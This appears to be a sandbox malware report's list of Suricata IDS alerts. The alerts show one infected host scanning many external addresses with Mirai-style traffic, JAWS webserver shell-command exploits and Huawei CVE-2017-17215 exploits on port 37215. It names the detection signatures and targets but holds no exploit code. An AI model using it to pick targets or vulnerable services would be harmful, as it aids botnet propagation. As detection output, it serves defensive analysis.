Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60124 -> 79.14.25.171:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52860 -> 79.127.131.213:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44988 -> 117.122.114.83:443
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57332 -> 41.142.82.90:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52156 -> 37.63.30.25:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55882 -> 23.14.61.169:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55882 -> 23.14.61.169:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40326 -> 34.117.245.61:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40326 -> 34.117.245.61:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43982 -> 111.175.39.221:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43982 -> 111.175.39.221:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39066 -> 109.206.175.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:39066 -> 109.206.175.66:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49398 -> 156.247.23.139:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36040 -> 115.173.179.104:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36040 -> 115.173.179.104:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46556 -> 69.163.97.129:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46556 -> 69.163.97.129:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42858 -> 197.129.129.87:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35452 -> 211.76.58.110:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35452 -> 211.76.58.110:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59924 -> 197.52.94.232:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53944 -> 156.40.168.169:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38100 -> 115.51.250.229:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:38100 -> 115.51.250.229:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40468 -> 68.165.240.71:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40468 -> 68.165.240.71:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35656 -> 197.252.249.212:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34242 -> 50.84.44.219:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34242 -> 50.84.44.219:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46386 -> 166.225.45.181:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46386 -> 166.225.45.181:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40952 -> 197.56.115.214:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44948 -> 36.186.91.48:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44948 -> 36.186.91.48:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37868 -> 219.61.31.247:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37868 -> 219.61.31.247:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59988 -> 197.8.124.136:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35890 -> 156.136.127.182:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55794 -> 41.157.6.145:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:32838 -> 222.204.47.231:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47458 -> 197.161.220.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50332 -> 41.45.164.216:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35966 -> 188.151.101.126:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:32838 -> 222.204.47.231:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35966 -> 188.151.101.126:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52496 -> 197.107.94.66:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36270 -> 145.152.55.80:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50230 -> 41.12.210.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50870 -> 41.147.168.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33648 -> 41.17.42.167:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36270 -> 145.152.55.80:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45532 -> 156.94.217.87:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44498 -> 130.134.1.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44498 -> 130.134.1.55:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41142 -> 41.75.110.142:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50656 -> 82.200.247.237:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50656 -> 82.200.247.237:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59418 -> 125.113.141.16:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59418 -> 125.113.141.16:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55518 -> 156.119.88.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57900 -> 197.84.254.99:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41770 -> 18.28.241.145:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41770 -> 18.28.241.145:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54954 -> 131.156.38.106:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54954 -> 131.156.38.106:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44284 -> 216.251.227.65:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44284 -> 216.251.227.65:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49814 -> 179.221.209.219:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49814 -> 179.221.209.219:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52642 -> 41.117.115.104:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48818 -> 156.8.22.233:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45036 -> 163.129.240.99:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45036 -> 163.129.240.99:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54104 -> 141.182.88.11:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54104 -> 141.182.88.11:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53512 -> 156.160.223.165:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43396 -> 136.219.76.182:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43396 -> 136.219.76.182:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40794 -> 41.184.5.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48762 -> 41.43.52.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35148 -> 156.80.33.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44918 -> 156.49.31.7:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36676 -> 76.233.57.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36676 -> 76.233.57.173:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54174 -> 80.16.214.233:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54174 -> 80.16.214.233:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50276 -> 197.76.254.99:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48562 -> 131.167.238.241:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50276 -> 197.76.254.99:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57628 -> 84.156.166.12:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48562 -> 131.167.238.241:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47558 -> 156.135.171.102:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:56710 -> 51.128.35.28:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39220 -> 76.232.178.92:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51160 -> 156.152.71.59:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46272 -> 87.197.76.211:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46272 -> 87.197.76.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43232 -> 120.68.33.190:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39368 -> 197.106.26.143:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43232 -> 120.68.33.190:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:57628 -> 84.156.166.12:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:56710 -> 51.128.35.28:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54188 -> 156.95.186.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37164 -> 41.40.38.157:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:39220 -> 76.232.178.92:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33586 -> 41.22.70.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48908 -> 41.217.156.39:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57256 -> 41.121.12.129:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53844 -> 156.233.32.128:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41364 -> 61.160.177.115:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41364 -> 61.160.177.115:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44564 -> 82.30.22.185:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44564 -> 82.30.22.185:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56150 -> 41.126.64.10:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57136 -> 197.211.2.169:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52910 -> 41.105.148.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47956 -> 197.164.236.181:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37134 -> 41.159.121.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54434 -> 41.18.249.50:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37218 -> 182.64.118.107:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37218 -> 182.64.118.107:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50606 -> 41.70.200.240:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50408 -> 13.192.143.77:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52240 -> 84.10.168.7:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50408 -> 13.192.143.77:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:52240 -> 84.10.168.7:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35766 -> 135.208.219.81:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35766 -> 135.208.219.81:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48132 -> 156.239.18.206:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32938 -> 197.46.116.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40240 -> 41.139.171.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53696 -> 197.153.240.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55316 -> 156.78.111.135:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47576 -> 12.12.20.232:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47576 -> 12.12.20.232:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34852 -> 197.7.119.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57482 -> 156.167.4.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35202 -> 41.125.165.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60196 -> 156.91.72.145:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48562 -> 156.250.109.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37670 -> 41.117.250.58:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47468 -> 181.149.65.97:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47468 -> 181.149.65.97:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42784 -> 41.194.65.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36408 -> 156.251.221.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43342 -> 41.90.184.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57674 -> 41.51.46.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37900 -> 197.59.228.193:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59940 -> 197.188.25.161:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50272 -> 156.46.198.66:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40442 -> 108.81.130.89:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40442 -> 108.81.130.89:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43984 -> 209.183.241.248:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43984 -> 209.183.241.248:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41606 -> 183.57.37.96:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41606 -> 183.57.37.96:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54270 -> 156.56.88.39:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48938 -> 156.56.92.171:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49420 -> 206.30.20.214:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49420 -> 206.30.20.214:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53084 -> 134.118.16.121:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:53084 -> 134.118.16.121:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34288 -> 8.160.109.226:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34288 -> 8.160.109.226:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37680 -> 41.229.107.145:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52682 -> 197.132.23.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53008 -> 41.121.163.72:37215
